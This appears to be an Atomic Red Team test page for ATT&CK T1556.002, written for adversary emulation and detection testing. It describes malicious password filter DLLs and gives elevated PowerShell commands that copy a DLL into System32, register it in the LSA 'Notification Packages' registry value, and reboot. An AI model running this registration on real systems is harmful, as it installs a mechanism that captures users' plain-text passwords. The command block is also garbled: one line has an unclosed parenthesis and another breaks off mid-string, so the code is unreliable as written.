T1556.002 - Password Filter DLL

Description from ATT&CK

> Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.
> Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.
>
> Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)

Atomic Tests

- Atomic Test #1 - Install and Register Password Filter DLL

Atomic Test #1 - Install and Register Password Filter DLL

Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.

Supported Platforms: Windows

auto_generated_guid: a7961770-beb5-4134-9674-83d7e1fa865c

Inputs:

Name	Description	Type	Default Value
input_dll	Path to DLL to be installed and registered	Path	PathToAtomicsFolder\T1556.002\src\AtomicPasswordFilter.dll

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$passwordFilterName = (Copy-Item "#{input_dll}" -Destination "C:\Windows\System32"
$lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
$notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
$notificationPackagesValues += $passwordFilterName
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packa
Restart-Computer -Confirm
```

Dependencies: Run with `powershell`!

Description: AtomicPasswordFilter.dll must exist on disk at specified location (#{input_dll})

Check Prereq Commands:

```
if (Test-Path #{input_dll}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own password filter dll"
```